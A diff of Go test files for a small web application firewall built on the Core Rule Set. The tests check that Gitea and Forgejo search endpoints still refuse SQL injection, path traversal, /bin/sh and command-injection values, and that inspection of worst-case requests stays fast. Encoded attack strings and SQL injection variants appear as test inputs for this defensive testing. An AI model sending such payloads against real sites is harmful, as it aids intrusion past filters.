# while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set. Each field skips the rules that
|
# while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set. Each field skips the rules that
|
||||||
# refused it.
|
# refused it.
|
||||||
# Each field below that names a branch skips these rules:
|
# Each field below that names a branch skips these rules:
|
||||||
# 932120: fix-powershell-module
|
# 932120: fix-powershell-module
|
||||||
|
|||||||
@@ -3,7 +3,6 @@ package coreruleset_test
|
|||||||
import (
|
import (
|
||||||
"net/http"
|
"net/http"
|
||||||
"slices"
|
"slices"
|
||||||
"strings"
|
|
||||||
"testing"
|
"testing"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||||
@@ -86,7 +85,7 @@ func TestGiteaAdminFormsLetHardValuesThroughInTheBody(t *testing.T) {
|
|||||||
func TestGiteaFormsThatAdoptARepositoryLetItsNameThrough(t *testing.T) {
|
func TestGiteaFormsThatAdoptARepositoryLetItsNameThrough(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
crs := readingBodies(t)
|
crs := readingBodies(t)
|
||||||
|
|
||||||
@@ -147,7 +146,7 @@ func TestGiteaFormsThatAdoptARepositoryLetItsNameThrough(t *testing.T) {
|
|||||||
func TestGiteaAttacksAreRefusedInItsSearches(t *testing.T) {
|
func TestGiteaAttacksAreRefusedInItsSearches(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
defaults, bodies := atDefaults(t), readingBodies(t)
|
defaults, bodies := atDefaults(t), readingBodies(t)
|
||||||
|
|
||||||
@@ -171,7 +170,7 @@ func TestGiteaAttacksAreRefusedInItsSearches(t *testing.T) {
|
|||||||
func TestGiteaSearchExclusionsAreNarrow(t *testing.T) {
|
func TestGiteaSearchExclusionsAreNarrow(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
crs := atDefaults(t)
|
crs := atDefaults(t)
|
||||||
|
|
||||||
@@ -183,7 +182,7 @@ func TestGiteaSearchExclusionsAreNarrow(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
attacks := []string{binSh, commandInjection, pathTraversal}
|
attacks := []string{"%2Fbin%2Fsh", commandInjection, pathTraversal}
|
||||||
|
|
||||||
// /bin/sh, a shell command after a ";", a path traversal and the hard
|
// /bin/sh, a shell command after a ";", a path traversal and the hard
|
||||||
// values stay refused in q on paths near the searches, and in another
|
// values stay refused in q on paths near the searches, and in another
|
||||||
@@ -249,253 +248,3 @@ func TestGiteaSearchExclusionsAreNarrow(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// giteaAPISearches are the API's searches that gitea and Forgejo share whose
|
|
||||||
// field skips the lists of system files and command names. Each ends in the
|
|
||||||
// field it sends its words in.
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
|
||||||
var giteaAPISearches = []string{
|
|
||||||
"/api/v1/users/search?q=",
|
|
||||||
"/api/v1/topics/search?q=",
|
|
||||||
"/api/v1/orgs/acme/teams/search?q=",
|
|
||||||
"/api/v1/admin/emails/search?q=",
|
|
||||||
"/api/v1/admin/unadopted?query=",
|
|
||||||
"/api/v1/repos/alice/tools/milestones?name=",
|
|
||||||
}
|
|
||||||
|
|
||||||
// giteaAPIPackageSearch is the API's search of an owner's packages, whose q
|
|
||||||
// also lets /bin/sh through, since a package name can hold a slash.
|
|
||||||
const giteaAPIPackageSearch = "/api/v1/packages/alice?q="
|
|
||||||
|
|
||||||
func TestGiteaAttacksAreRefusedInItsAPISearches(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
checkSearchesRefuseAttacks(
|
|
||||||
t,
|
|
||||||
giteaAPISearches,
|
|
||||||
[]string{giteaAPIPackageSearch},
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
// checkSearchesRefuseAttacks checks that SQL injection, a path traversal,
|
|
||||||
// script injection and a shell command stay refused in the field of each
|
|
||||||
// search, in the query string and in a form data body. Each search ends in
|
|
||||||
// its field. /bin/sh stays refused too in the field of each of
|
|
||||||
// refusingBinSh, but not of lettingBinSh.
|
|
||||||
func checkSearchesRefuseAttacks(
|
|
||||||
t *testing.T, refusingBinSh, lettingBinSh []string,
|
|
||||||
) {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
|
||||||
|
|
||||||
defaults, bodies := atDefaults(t), readingBodies(t)
|
|
||||||
|
|
||||||
for _, search := range slices.Concat(refusingBinSh, lettingBinSh) {
|
|
||||||
path, field, _ := strings.Cut(search, "?")
|
|
||||||
|
|
||||||
for _, attack := range []string{
|
|
||||||
sqlInjection, pathTraversal, scriptInjection, commandInjection,
|
|
||||||
} {
|
|
||||||
if got := inspect(t, defaults, get(search+attack)); got.Score < threshold {
|
|
||||||
t.Errorf("GET %s%s let through: %+v", search, attack, got)
|
|
||||||
}
|
|
||||||
|
|
||||||
// The same field in a form data body.
|
|
||||||
r := request{http.MethodPost, path, []string{formData}}
|
|
||||||
if got, _ := inspectBody(t, bodies, r, field+attack); got.Score < threshold {
|
|
||||||
t.Errorf(
|
|
||||||
"POST %s %s%s let through: %+v",
|
|
||||||
path,
|
|
||||||
field,
|
|
||||||
attack,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, search := range refusingBinSh {
|
|
||||||
if got := inspect(t, defaults, get(search+binSh)); got.Score < threshold {
|
|
||||||
t.Errorf("%s%s let through: %+v", search, binSh, got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestGiteaAPISearchExclusionsAreNarrow(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
// Each search's field on paths near the searches, and another field on
|
|
||||||
// them.
|
|
||||||
checkValuesStayRefused(t, []string{
|
|
||||||
"/api/v1/topics/search/x?q=",
|
|
||||||
"/api/v1/orgs/acme/teams?q=",
|
|
||||||
"/api/v1/orgs/acme/teams/search/x?q=",
|
|
||||||
"/api/v1/admin/emails?q=",
|
|
||||||
"/api/v1/admin/unadopted/alice/legacy-site?query=",
|
|
||||||
"/api/v1/admin/users?query=",
|
|
||||||
"/api/v1/repos/alice/tools/milestones/1?name=",
|
|
||||||
"/api/v1/repos/alice/tools/labels?name=",
|
|
||||||
"/api/v1/packages/alice/generic/tools-cli?q=",
|
|
||||||
"/api/v1/topics/search?other=",
|
|
||||||
"/api/v1/orgs/acme/teams/search?other=",
|
|
||||||
"/api/v1/admin/emails/search?other=",
|
|
||||||
"/api/v1/admin/unadopted?q=",
|
|
||||||
"/api/v1/repos/alice/tools/milestones?q=",
|
|
||||||
"/api/v1/packages/alice?other=",
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
// checkValuesStayRefused checks that /bin/sh, a shell command after a ";", a
|
|
||||||
// path traversal and the hard values stay refused at the end of each target.
|
|
||||||
func checkValuesStayRefused(t *testing.T, targets []string) {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
|
||||||
|
|
||||||
crs := atDefaults(t)
|
|
||||||
|
|
||||||
for _, target := range targets {
|
|
||||||
for _, value := range slices.Concat(
|
|
||||||
[]string{binSh, commandInjection, pathTraversal},
|
|
||||||
hardValues,
|
|
||||||
) {
|
|
||||||
if got := inspect(t, crs, get(target+value)); got.Score < threshold {
|
|
||||||
t.Errorf("%s%s let through: %+v", target, value, got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// giteaRegistrySearches are the package registries' searches whose field
|
|
||||||
// skips the lists of system files and command names. Each ends in the field
|
|
||||||
// it sends its words in.
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
|
||||||
var giteaRegistrySearches = []string{
|
|
||||||
"/api/packages/alice/cargo/api/v1/crates?q=",
|
|
||||||
"/api/packages/alice/chef/api/v1/search?q=",
|
|
||||||
"/api/packages/alice/chef/api/v1/cookbooks?q=",
|
|
||||||
"/api/packages/alice/nuget/query?q=",
|
|
||||||
"/api/packages/alice/nuget/Search()?searchTerm=",
|
|
||||||
"/api/packages/alice/nuget/Packages()?$filter=",
|
|
||||||
"/api/packages/alice/nuget/Search()/$count?searchTerm=",
|
|
||||||
"/api/packages/alice/nuget/Packages()/$count?$filter=",
|
|
||||||
}
|
|
||||||
|
|
||||||
// giteaRegistrySearchesLettingBinSh are the package registries' searches
|
|
||||||
// whose field also lets /bin/sh through, since a Composer, Conan or npm name
|
|
||||||
// can hold a slash.
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
|
||||||
var giteaRegistrySearchesLettingBinSh = []string{
|
|
||||||
"/api/packages/alice/composer/search.json?q=",
|
|
||||||
"/api/packages/alice/conan/v1/conans/search?q=",
|
|
||||||
"/api/packages/alice/conan/v2/conans/search?q=",
|
|
||||||
"/api/packages/alice/npm/-/v1/search?text=",
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestGiteaAttacksAreRefusedInItsRegistrySearches(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
checkSearchesRefuseAttacks(
|
|
||||||
t,
|
|
||||||
giteaRegistrySearches,
|
|
||||||
giteaRegistrySearchesLettingBinSh,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestGiteaRegistrySearchExclusionsAreNarrow(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
// Each search's field on paths near the searches, and another field on
|
|
||||||
// them.
|
|
||||||
checkValuesStayRefused(t, []string{
|
|
||||||
"/api/packages/alice/cargo/api/v1/crates/tools-cli?q=",
|
|
||||||
"/api/packages/alice/chef/api/v1/cookbooks/tools?q=",
|
|
||||||
"/api/packages/alice/composer/packages.json?q=",
|
|
||||||
"/api/packages/alice/conan/v1/conans/tools/1.0/alice/stable/search?q=",
|
|
||||||
"/api/packages/alice/nuget/query/x?q=",
|
|
||||||
"/api/packages/alice/nuget/FindPackagesById()?id=",
|
|
||||||
"/api/packages/alice/nuget/FindPackagesById()/$count?id=",
|
|
||||||
"/api/packages/alice/nuget/Search()/$count/x?searchTerm=",
|
|
||||||
"/api/packages/alice/npm/tools-cli?text=",
|
|
||||||
"/api/packages/alice/cargo/api/v1/crates?other=",
|
|
||||||
"/api/packages/alice/chef/api/v1/search?other=",
|
|
||||||
"/api/packages/alice/composer/search.json?type=",
|
|
||||||
"/api/packages/alice/conan/v2/conans/search?other=",
|
|
||||||
"/api/packages/alice/nuget/query?other=",
|
|
||||||
"/api/packages/alice/nuget/Search()?targetFramework=",
|
|
||||||
"/api/packages/alice/nuget/Packages()?$orderby=",
|
|
||||||
"/api/packages/alice/nuget/Search()/$count?targetFramework=",
|
|
||||||
"/api/packages/alice/nuget/Packages()/$count?$orderby=",
|
|
||||||
"/api/packages/alice/npm/-/v1/search?q=",
|
|
||||||
})
|
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
|
||||||
|
|
||||||
crs := atDefaults(t)
|
|
||||||
|
|
||||||
// The rule for MongoDB operators (942290) still refuses the name of
|
|
||||||
// another operator on NuGet's searches, and $filter on NuGet's other
|
|
||||||
// paths. The rule for SQL injection (942100) still refuses tools/* in a
|
|
||||||
// field other than a Conan search's, SQL injection in a second q after a
|
|
||||||
// Conan pattern, SQL comments or dots that stand in for spaces, and SQL
|
|
||||||
// injection holding + or --.
|
|
||||||
for _, target := range []string{
|
|
||||||
"/api/packages/alice/nuget/Search()?$where=1",
|
|
||||||
"/api/packages/alice/nuget/Packages()?$ne=1",
|
|
||||||
"/api/packages/alice/nuget/Search()/$count?$where=1",
|
|
||||||
"/api/packages/alice/nuget/FindPackagesById()?$filter=IsLatestVersion",
|
|
||||||
"/api/packages/alice/nuget/FindPackagesById()/$count?$filter=IsLatestVersion",
|
|
||||||
"/api/packages/alice/composer/search.json?q=tools%2F%2A",
|
|
||||||
"/api/packages/alice/conan/v2/conans/search?other=tools%2F%2A",
|
|
||||||
"/api/packages/alice/conan/v2/conans/search?q=tools%2F%2A&q=" +
|
|
||||||
sqlInjection,
|
|
||||||
"/api/packages/alice/conan/v2/conans/search?q=1%2F%2A%2A%2For%2F%2A%2A%2F1",
|
|
||||||
"/api/packages/alice/conan/v2/conans/search?q=1%2F%2A%40%2A%2For-1",
|
|
||||||
"/api/packages/alice/conan/v2/conans/search?q=1%2Bor%2B1--",
|
|
||||||
"/api/packages/alice/conan/v2/conans/search?q=1-or-1--",
|
|
||||||
"/api/packages/alice/conan/v2/conans/search?q=x%2F1.or.1",
|
|
||||||
"/api/packages/alice/conan/v2/conans/search?q=x%2F1.and.1",
|
|
||||||
"/api/packages/alice/conan/v2/conans/search?q=1.having.1",
|
|
||||||
} {
|
|
||||||
if got := inspect(t, crs, get(target)); got.Score < threshold {
|
|
||||||
t.Errorf("%s let through: %+v", target, got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// SQL injection in a q in the body is refused, even after a Conan
|
|
||||||
// pattern in the query string.
|
|
||||||
search := request{
|
|
||||||
http.MethodPost,
|
|
||||||
"/api/packages/alice/conan/v2/conans/search?q=zlib",
|
|
||||||
[]string{formData},
|
|
||||||
}
|
|
||||||
|
|
||||||
body := "q=" + sqlInjection
|
|
||||||
if got, _ := inspectBody(t, readingBodies(t), search, body); got.Score < threshold {
|
|
||||||
t.Errorf("POST %s %s let through: %+v", search.target, body, got)
|
|
||||||
}
|
|
||||||
|
|
||||||
// So is SQL injection with dots for spaces, in a q sent only in the body.
|
|
||||||
search.target = "/api/packages/alice/conan/v2/conans/search"
|
|
||||||
|
|
||||||
body = "q=x%2F1.or.1"
|
|
||||||
if got, _ := inspectBody(t, readingBodies(t), search, body); got.Score < threshold {
|
|
||||||
t.Errorf("POST %s %s let through: %+v", search.target, body, got)
|
|
||||||
}
|
|
||||||
|
|
||||||
// The rule that lets a Conan pattern through is in phase 2, where it
|
|
||||||
// checks tx.app_gitea itself: a hostname that does not serve gitea
|
|
||||||
// refuses the pattern.
|
|
||||||
pattern := get(
|
|
||||||
"/api/packages/alice/conan/v2/conans/search?q=tools%2F%2A",
|
|
||||||
)
|
|
||||||
apps := servingApps(t, map[string][]string{
|
|
||||||
giteaHost: {gitea}, otherHost: {wordpress},
|
|
||||||
})
|
|
||||||
wantResult(t, apps, withHost(pattern, giteaHost), coreruleset.Result{})
|
|
||||||
wantResult(t, apps, withHost(pattern, otherHost), matched(942100))
|
|
||||||
}
|
|
||||||
@@ -1,437 +0,0 @@
|
|||||||
package coreruleset_test
|
|
||||||
|
|
||||||
import (
|
|
||||||
"maps"
|
|
||||||
"net/http"
|
|
||||||
"net/http/httptest"
|
|
||||||
"net/netip"
|
|
||||||
"regexp"
|
|
||||||
"runtime"
|
|
||||||
"slices"
|
|
||||||
"strconv"
|
|
||||||
"strings"
|
|
||||||
"testing"
|
|
||||||
"time"
|
|
||||||
|
|
||||||
"golang.org/x/sys/unix"
|
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
|
||||||
)
|
|
||||||
|
|
||||||
// The bounds on what a visitor can send, as SPEC.md gives them.
|
|
||||||
const (
|
|
||||||
// lineLimit is the longest request line or header line.
|
|
||||||
lineLimit = 8 << 10
|
|
||||||
// headerLimit is the most bytes rproxy reads of a request line and
|
|
||||||
// headers together.
|
|
||||||
headerLimit = 32 << 10
|
|
||||||
// mostCookies and mostHeaderFields are waf's limits on cookies and header
|
|
||||||
// fields.
|
|
||||||
mostCookies = 50
|
|
||||||
mostHeaderFields = 100
|
|
||||||
// mostBodyRead is the largest SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE.
|
|
||||||
mostBodyRead = 8 << 10
|
|
||||||
// mostJSONRead is the largest JSON body the Core Rule Set reads.
|
|
||||||
mostJSONRead = 1 << 10
|
|
||||||
)
|
|
||||||
|
|
||||||
// waf refuses a request the Core Rule Set has not inspected within 500
|
|
||||||
// milliseconds, but Coraza cannot stop an inspection part-way, so it runs to
|
|
||||||
// its end with nobody waiting for it. The test checks that an inspection ends
|
|
||||||
// within about 1 second, so that a visitor cannot keep a processor busy for
|
|
||||||
// longer with one request.
|
|
||||||
//
|
|
||||||
// A busy host slows all work, so the test does not compare an inspection with
|
|
||||||
// 1 second. It compares it with referenceTime, timed on the same thread just
|
|
||||||
// before and after. inspectionTimeLimitMultiple is how many times
|
|
||||||
// referenceTime an inspection may take.
|
|
||||||
//
|
|
||||||
// On the host that runs our checks, referenceTime took at least 78
|
|
||||||
// milliseconds, so 13 times it is about 1 second. With that host fully busy,
|
|
||||||
// no try of the slowest request took more than 9.5 times referenceTime.
|
|
||||||
const inspectionTimeLimitMultiple = 13
|
|
||||||
|
|
||||||
// referencePattern is what referenceTime matches. Like the Core Rule Set's
|
|
||||||
// rules, it is a regular expression with alternatives and repeats.
|
|
||||||
var referencePattern = regexp.MustCompile(
|
|
||||||
`(?i)(union|select|insert|delete)\s+\w+\s+(from|into)\s+\w+[0-9]+;`,
|
|
||||||
)
|
|
||||||
|
|
||||||
// referenceTime returns the processor time the calling thread takes to do a
|
|
||||||
// fixed amount of work unrelated to the Core Rule Set, so that a change to the
|
|
||||||
// rules does not change it. referencePattern matches nowhere in the text, so
|
|
||||||
// each match reads all of it.
|
|
||||||
func referenceTime(t *testing.T) time.Duration {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
referenceText := text(4 << 10)
|
|
||||||
began := threadCPUTime(t)
|
|
||||||
|
|
||||||
for range 200 {
|
|
||||||
if referencePattern.MatchString(referenceText) {
|
|
||||||
t.Fatal("the reference pattern matched")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return threadCPUTime(t) - began
|
|
||||||
}
|
|
||||||
|
|
||||||
// text returns n bytes of letters, digits and spaces, which the Core Rule Set
|
|
||||||
// takes longer over than one letter repeated.
|
|
||||||
func text(n int) string {
|
|
||||||
const words = "select 0x2f from tbl_1 where name like abc_9 "
|
|
||||||
|
|
||||||
return strings.Repeat(words, n/len(words)+1)[:n]
|
|
||||||
}
|
|
||||||
|
|
||||||
// visitorRequest is a request a visitor can send, at the most of one or more
|
|
||||||
// of the bounds above.
|
|
||||||
type visitorRequest struct {
|
|
||||||
name string
|
|
||||||
target string
|
|
||||||
// header holds the headers besides Host.
|
|
||||||
header http.Header
|
|
||||||
// contentType is the body's type, "" for no body.
|
|
||||||
contentType string
|
|
||||||
body string
|
|
||||||
}
|
|
||||||
|
|
||||||
// longestTarget returns a target whose request line, "POST <target>
|
|
||||||
// HTTP/1.1", is lineLimit bytes long.
|
|
||||||
func longestTarget() string {
|
|
||||||
const around = len("POST /?q= HTTP/1.1")
|
|
||||||
|
|
||||||
return "/?q=" + strings.ReplaceAll(text(lineLimit-around), " ", "+")
|
|
||||||
}
|
|
||||||
|
|
||||||
// cookieLine returns a Cookie value whose line, "Cookie: <value>", is
|
|
||||||
// lineLimit bytes long, made of count cookies.
|
|
||||||
func cookieLine(count int) string {
|
|
||||||
const linePrefix = len("Cookie: ")
|
|
||||||
|
|
||||||
cookies := make([]string, count)
|
|
||||||
for i := range cookies {
|
|
||||||
cookies[i] = "c" + strconv.Itoa(i) + "="
|
|
||||||
}
|
|
||||||
|
|
||||||
// Each cookie is followed by "; ", but for the last.
|
|
||||||
room := lineLimit - linePrefix - len(strings.Join(cookies, "; "))
|
|
||||||
for i := range cookies {
|
|
||||||
share := room / count
|
|
||||||
if i == 0 {
|
|
||||||
share += room % count
|
|
||||||
}
|
|
||||||
|
|
||||||
cookies[i] += strings.ReplaceAll(text(share), " ", "_")
|
|
||||||
}
|
|
||||||
|
|
||||||
return strings.Join(cookies, "; ")
|
|
||||||
}
|
|
||||||
|
|
||||||
// headerValue returns a value whose line, "<name>: <value>", is n bytes long.
|
|
||||||
func headerValue(name string, n int) string {
|
|
||||||
return text(n - len(name) - len(": "))
|
|
||||||
}
|
|
||||||
|
|
||||||
// formFields returns a form body of mostBodyRead bytes holding count fields.
|
|
||||||
func formFields(count int) string {
|
|
||||||
fields := make([]string, count)
|
|
||||||
for i := range fields {
|
|
||||||
fields[i] = "f" + strconv.Itoa(i) + "="
|
|
||||||
}
|
|
||||||
|
|
||||||
room := mostBodyRead - len(strings.Join(fields, "&"))
|
|
||||||
for i := range fields {
|
|
||||||
share := room / count
|
|
||||||
if i == 0 {
|
|
||||||
share += room % count
|
|
||||||
}
|
|
||||||
|
|
||||||
fields[i] += strings.ReplaceAll(text(share), " ", "+")
|
|
||||||
}
|
|
||||||
|
|
||||||
return strings.Join(fields, "&")
|
|
||||||
}
|
|
||||||
|
|
||||||
// multipartBody returns a multipart body of mostBodyRead bytes, with the
|
|
||||||
// boundary "b", holding fields of about size bytes each.
|
|
||||||
func multipartBody(size int) string {
|
|
||||||
var body strings.Builder
|
|
||||||
|
|
||||||
const end = "--b--\r\n"
|
|
||||||
|
|
||||||
for i := 0; ; i++ {
|
|
||||||
head := "--b\r\nContent-Disposition: form-data; name=\"f" +
|
|
||||||
strconv.Itoa(i) + "\"\r\n\r\n"
|
|
||||||
|
|
||||||
room := mostBodyRead - body.Len() - len(
|
|
||||||
end,
|
|
||||||
) - len(
|
|
||||||
head,
|
|
||||||
) - len(
|
|
||||||
"\r\n",
|
|
||||||
)
|
|
||||||
if room <= 0 {
|
|
||||||
break
|
|
||||||
}
|
|
||||||
|
|
||||||
body.WriteString(head + text(min(size, room)) + "\r\n")
|
|
||||||
}
|
|
||||||
|
|
||||||
body.WriteString(end)
|
|
||||||
|
|
||||||
return body.String()
|
|
||||||
}
|
|
||||||
|
|
||||||
// jsonArrayOfMostElements returns a JSON array of at most mostJSONRead bytes
|
|
||||||
// holding as many elements as fit, each the number 1.
|
|
||||||
func jsonArrayOfMostElements() string {
|
|
||||||
return "[1" + strings.Repeat(
|
|
||||||
",1",
|
|
||||||
(mostJSONRead-len("[1]"))/len(",1"),
|
|
||||||
) + "]"
|
|
||||||
}
|
|
||||||
|
|
||||||
// jsonOfMostElementsUnderAKey returns a JSON body of mostJSONRead bytes
|
|
||||||
// holding as many elements as fit, each the number 1, in an array under a
|
|
||||||
// key of 6 bytes. Coraza names each element "json.<key>.<index>", so a
|
|
||||||
// longer key makes longer names. 6 bytes is the longest key that keeps the
|
|
||||||
// names and values of this body within the 8 KiB Coraza allows.
|
|
||||||
func jsonOfMostElementsUnderAKey() string {
|
|
||||||
head := `{"` + text(6) + `":[1`
|
|
||||||
|
|
||||||
return head + strings.Repeat(
|
|
||||||
",1",
|
|
||||||
(mostJSONRead-len(head+"]}"))/len(",1"),
|
|
||||||
) + "]}"
|
|
||||||
}
|
|
||||||
|
|
||||||
// The kinds of body the Core Rule Set reads, and the header that names a
|
|
||||||
// request's cookies.
|
|
||||||
const (
|
|
||||||
formType = "application/x-www-form-urlencoded"
|
|
||||||
jsonType = "application/json"
|
|
||||||
multipartType = "multipart/form-data; boundary=b"
|
|
||||||
cookieHeader = "Cookie"
|
|
||||||
)
|
|
||||||
|
|
||||||
// fullLine is the length of each of the request line and the three or four
|
|
||||||
// header lines that together fill rproxy's limit, with room for the line
|
|
||||||
// endings and the other headers.
|
|
||||||
const fullLine = lineLimit - 64
|
|
||||||
|
|
||||||
// worstCaseRequests are, for each kind of thing a visitor sends, the requests
|
|
||||||
// that keep the Core Rule Set busiest, within the bounds above. The last
|
|
||||||
// holds the most of everything at once: Cookie lines keep it busier than
|
|
||||||
// other header lines, and the JSON body of the most elements under a key
|
|
||||||
// keeps it busier than the other bodies.
|
|
||||||
func worstCaseRequests() []visitorRequest {
|
|
||||||
fullCookieLine := cookieLine(1)[:fullLine-len("Cookie: ")]
|
|
||||||
|
|
||||||
return append(
|
|
||||||
append(worstCaseHeaders(), worstCaseBodies()...),
|
|
||||||
visitorRequest{
|
|
||||||
name: "the longest request line, three Cookie lines and body",
|
|
||||||
target: longestTarget()[:fullLine-len("POST HTTP/1.1")],
|
|
||||||
header: http.Header{cookieHeader: {
|
|
||||||
fullCookieLine, fullCookieLine, fullCookieLine,
|
|
||||||
}},
|
|
||||||
contentType: jsonType, body: jsonOfMostElementsUnderAKey(),
|
|
||||||
},
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
// worstCaseHeaders are the requests of worstCaseRequests with no body.
|
|
||||||
func worstCaseHeaders() []visitorRequest {
|
|
||||||
headerFields := http.Header{}
|
|
||||||
|
|
||||||
for i := range mostHeaderFields - 1 {
|
|
||||||
name := "X-Field-" + strconv.Itoa(i)
|
|
||||||
headerFields.Set(
|
|
||||||
name,
|
|
||||||
headerValue(name, headerLimit/mostHeaderFields),
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
return []visitorRequest{
|
|
||||||
{name: "the longest request line", target: longestTarget()},
|
|
||||||
{
|
|
||||||
name: "the longest request line, as query parameters",
|
|
||||||
target: "/?" + strings.Repeat(
|
|
||||||
"a=1&",
|
|
||||||
(lineLimit-len("POST /? HTTP/1.1"))/len("a=1&"),
|
|
||||||
),
|
|
||||||
},
|
|
||||||
{
|
|
||||||
name: "the longest Cookie line, as one cookie",
|
|
||||||
target: "/",
|
|
||||||
header: http.Header{cookieHeader: {cookieLine(1)}},
|
|
||||||
},
|
|
||||||
{
|
|
||||||
name: "the longest Cookie line, as the most cookies",
|
|
||||||
target: "/",
|
|
||||||
header: http.Header{cookieHeader: {cookieLine(mostCookies)}},
|
|
||||||
},
|
|
||||||
{name: "the most header fields", target: "/", header: headerFields},
|
|
||||||
{
|
|
||||||
name: "the longest header lines",
|
|
||||||
target: "/",
|
|
||||||
header: http.Header{
|
|
||||||
"User-Agent": {headerValue("User-Agent", fullLine)},
|
|
||||||
"Referer": {headerValue("Referer", fullLine)},
|
|
||||||
"Accept": {headerValue("Accept", fullLine)},
|
|
||||||
"X-Long": {headerValue("X-Long", fullLine)},
|
|
||||||
},
|
|
||||||
},
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// worstCaseBodies are the requests of worstCaseRequests whose body holds
|
|
||||||
// the most the Core Rule Set reads.
|
|
||||||
func worstCaseBodies() []visitorRequest {
|
|
||||||
const nested = (mostJSONRead - len(`{"a":1}`)) / len(`{"a":}`)
|
|
||||||
|
|
||||||
return []visitorRequest{
|
|
||||||
{
|
|
||||||
name: "a form body of one field", target: "/",
|
|
||||||
contentType: formType, body: formFields(1),
|
|
||||||
},
|
|
||||||
{
|
|
||||||
name: "a form body of the most fields Coraza keeps", target: "/",
|
|
||||||
contentType: formType, body: formFields(1000),
|
|
||||||
},
|
|
||||||
{
|
|
||||||
name: "a JSON body of one string", target: "/",
|
|
||||||
contentType: jsonType,
|
|
||||||
body: `{"a":"` + text(
|
|
||||||
mostJSONRead-len(`{"a":""}`),
|
|
||||||
) + `"}`,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
name: "a JSON body of the most elements", target: "/",
|
|
||||||
contentType: jsonType, body: jsonArrayOfMostElements(),
|
|
||||||
},
|
|
||||||
{
|
|
||||||
name: "a JSON body of the most elements under a key", target: "/",
|
|
||||||
contentType: jsonType, body: jsonOfMostElementsUnderAKey(),
|
|
||||||
},
|
|
||||||
{
|
|
||||||
name: "a JSON body nested deep", target: "/",
|
|
||||||
contentType: jsonType,
|
|
||||||
body: strings.Repeat(`{"a":`, nested) + "1" +
|
|
||||||
strings.Repeat("}", nested),
|
|
||||||
},
|
|
||||||
{
|
|
||||||
name: "an XML body of many elements", target: "/",
|
|
||||||
contentType: "application/xml",
|
|
||||||
body: "<a>" + strings.Repeat(
|
|
||||||
"<b>x</b>",
|
|
||||||
(mostBodyRead-len("<a></a>"))/len("<b>x</b>"),
|
|
||||||
) + "</a>",
|
|
||||||
},
|
|
||||||
{
|
|
||||||
name: "a multipart body of one field", target: "/",
|
|
||||||
contentType: multipartType, body: multipartBody(mostBodyRead),
|
|
||||||
},
|
|
||||||
{
|
|
||||||
name: "a multipart body of many fields", target: "/",
|
|
||||||
contentType: multipartType, body: multipartBody(1),
|
|
||||||
},
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// threadCPUTime returns the processor time the calling thread has used.
|
|
||||||
func threadCPUTime(t *testing.T) time.Duration {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
var now unix.Timespec
|
|
||||||
|
|
||||||
err := unix.ClockGettime(unix.CLOCK_THREAD_CPUTIME_ID, &now)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("read the thread's processor time: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
return time.Duration(now.Nano())
|
|
||||||
}
|
|
||||||
|
|
||||||
